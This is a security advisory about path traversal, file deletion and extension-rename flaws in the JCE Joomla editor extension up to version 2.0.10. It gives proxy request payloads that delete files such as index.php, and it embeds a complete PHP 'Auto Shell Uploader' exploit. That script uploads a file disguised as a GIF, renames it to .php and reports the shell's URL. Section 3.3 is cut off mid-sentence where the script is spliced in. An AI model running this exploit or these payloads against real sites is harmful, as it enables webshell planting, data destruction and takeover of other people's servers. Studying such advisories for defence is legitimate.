########################## www.BugReport.ir
#######################################
#
# AmnPardaz Security Research Team
#
# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities
# Vendor: www.joomlacontenteditor.net
# Exploit: Available
# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager
1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions
also may be affected)
# Impact: High
# Original Advisory: http://www.bugreport.ir/index_78.htm
# Fix: N/A
###################################################################################
####################
1. Description:
####################
JCE is an extension for Joomla!, that provides you with a set of
wysiwyg editor tools that makes the job of writing articles for your
Joomla! site a little bit easier.
In a nutshell, it provides access to many of the features you may
be used to using in Word or OpenOffice etc.
####################
2. Vulnerabilities:
####################
2.1. Path Traversal Flaws. Path Traversal in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
2.1.1. Exploit:
Check the exploit/POC section.
2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
"Media Manager", "Template Manager", "File Manager" section. Attackers
can delete any file or upload files to all the directories of the server.
2.2.1. Exploit:
Check the exploit/POC section.
2.3. Unsafe function Flaws. Attackers can use unsafe function
called "folderRename" for changing Image type extension (.jpg, .gif,
.png & etc.) to any extension like .htaccess or .php in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
2.3.1. Exploit:
Check the exploit/POC section.
####################
3. Exploits/PoCs:
####################
Original Exploit URL: http://www.bugreport.ir/78/exploit.htm
3.1. Path Traversal Flaws. Path Traversal in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
-------------
Path Traversal and see all directories:
Step 1 +--> Click on root (left bar)
Step 2 +--> Use Proxy (like burp) for changing path:
json={"fn":"getItems","args":["/","all",0,""]}
to
json={"fn":"getItems","args":["../../","all",0,""]}
-------------
3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
"Media Manager", "Template Manager", "File Manager" section. Attackers
can delete any file or upload files to all the directories of the server.
-------------
For uploading file:
Step 1 +--> Upload a file with image type extension like azizi.jpg
Step 2 +--> Click on root (left bar)
Step 3 +--> Use Proxy (like burp) and change "json" parameter
to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]}
Now azizi.jpg copied to root directory.
For deleting file:
Step 1 +--> Click on root (left bar)
Step 2 +--> Use Proxy (like burp) and change "json" parameter
to json={"fn":"fileDelete","args":"../../index.php"}
Now index.php has been deleted.
-------------
3.3. Unsafe function Flaws. Attackers can use unsafe function for
changing Image type extension (.jpg, .gif, .png & etc.) to any extension
like .htaccess or .php in "Image Manager", "Media Manager", "Template
Manager" and "File Manager" section.
-------------
For uploading file with executable extension:
Step 1 +--> Upload a file with image type extension like azizi.jpg
Step 2 +--> Click on root (left bar)
Step 3 +--> Use Proxy (like burp) and change "json" p
<?php
######################################### www.bugreport.ir
########################################
#
# AmnPardaz Security Research & Penetration Testing Group
#
#
# Title: Exploit for JCE Joomla Extension (Auto Shell
Uploader) V0.1 - PHP Version
# Vendor: http://www.joomlacontenteditor.net
# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)
# Exploitation: Remote with browser
# Original Advisory: http://www.bugreport.ir/index_78.htm
# Vendor supplied patch:
http://www.joomlacontenteditor.net/news/item/jce-2011-released
# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5
# Coded By: Mostafa Azizi
###################################################################################################
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html>
<head>
<title>JCE Joomla Extension Remote File Upload</title>
</head>
<body bgcolor="#00000">
<p align="center"><font size="4" color="#00ff00">JCE Joomla Extension
Remote File Upload</font></p>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'"
enctype="multipart/form-data" method="post">
<p></font><font color="#00ff00" > hostname
(ex:www.sitename.com): </font><input name="host" size="20"> <span
class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="#00ff00" > path (ex: /joomla/ or
just / ): </font><input name="path" size="20"> <span
class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="#00ff00" >Please specify a file to upload:
</font><input type="file" name="datafile" size="40"><font
color="#FF0000"> * </font>
<p><font color="#00ff00" > specify a port (default is 80):
</font><input name="port" size="20"><span
class="Stile5"></span></p>
<p><font color="#00ff00" > Proxy (ip:port):
</font><input name="proxy" size="20"><span
class="Stile5"></span></p>
<p align="center"> <span class="Stile5"><font
color="#FF0000">* </font><font color="white" >fields are
required</font></font></span></p>
<p><input type="submit" value="Start" name="Submit"></p>
</form>
</td>
</tr>
</tbody>
</table>
</body></html>';
function sendpacket($packet,$response = 0,$output = 0,$s=0)
{
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
global $proxy, $host, $port, $html, $user, $pass;
if ($proxy == '')
{
$ock = fsockopen($host,$port);
stream_set_timeout($ock, 5);
if (!$ock)
{
echo '<font color=white> No response from '.htmlentities($host).'
...<br></font>';
die;
}
} else
{
$parts = explode(':',$proxy);
echo '<font color=white>Connecting to proxy:
'.$parts[0].':'.$parts[1].' ...<br><br/></font>';
$ock = fsockopen($parts[0],$parts[1]);
stream_set_timeout($ock, 5);
if (!$ock)
{
echo '<font color=white>No response from proxy...<br></font>';
die;
}
}
fputs($ock,$packet);
if ($response == 1)
{
if ($proxy == '')
{
$html = '';
while (!feof($ock))
{
$html .= fgets($ock);
}
} else
{
$html = '';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html .= fread($ock,1);
}
}
} else $html = '';
fclose($ock);
if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
if ($s==1){
$count=0;
$res=nl2br(htmlentities($html));
$str =
array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');
foreach ($str as $value){
$pos = strpos($res, $value);
if ($pos === false) {
$count=$count++;
} else {
echo "<font color=white>Target patched.<br/><br/></font>";
die();
}
}
if ($count=10) echo '<font color=white>Target is
exploitable.<br/><br/></font>';
}
}
$host = $_POST['host'];
$path = $_POST['path'];
$port = $_POST['port'];
$proxy = $_POST['proxy'];
if (isset($_POST['Submit']) && $host != '' && $path != '')
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font
color=white>Error... check the path!</font>');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
/* Packet 1 --> Checking Exploitability */
$packet = "GET
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
sendpacket($packet,1,0,1);
/* Packet 2 --> Uploading shell as a gif file */
$content = "GIF89a1\n";
$content .= file_get_contents($_FILES['datafile']['tmp_name']);
$data = "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
$data .= "/\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\";
filename=\"\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data;
name=\"upload-overwrite\"\r\n\r\n";
$data .= "0\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\";
filename=\"0day.gif\"\r\n";
$data .= "Content-Type: image/gif\r\n\r\n";
$data .= "$content\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "0day\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
$data .= "upload\r\n";
$data .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
$packet = "POST
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
$packet .= "Content-Type: multipart/form-data;
boundary=---------------------------41184676334\r\n";
$packet .= "Accept-Language: en-us,en;q=0.5\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Cookie:
6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743;
jce_imgmanager_dir=%2F;
__utma=216871948.2116932307.1317632284.1317632284.1317632284.1;
__utmb=216871948.1.10.1317632284; __utmc=216871948;
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Proxy-Connection: close\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
$packet .= $data;
sendpacket($packet,0,0,0);
/* Packet 3 --> Change Extension from .gif to .php */
$packet = "POST
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
$packet .= "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$packet .= "Accept-Language: en-US,en;q=0.8\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded;
charset=utf-8\r\n";
$packet .= "Accept-Encoding: deflate\n";
$packet .= "X-Request: JSON\r\n";
$packet .= "Cookie:
__utma=216871948.2116932307.1317632284.1317639575.1317734968.3;
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__utmb=216871948.20.10.1317734968; __utmc=216871948;
jce_imgmanager_dir=%2F;
6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
$ren
="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
$packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
$packet .= $ren."\r\n\r\n";
sendpacket($packet,1,0,0);
/* Packet 4 --> Check for successfully uploaded */
$packet = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
sendpacket($packet,1,0,0);
if(stristr($html , '200 OK') != true)
{echo "<font color=white>Exploit Faild...</font>";} else echo
"<font color=white>Exploit
Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";
}
?>
####################
4. Solution:
####################
Restricting and granting only trusted users having access to
resources and wait for vender patch.
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com
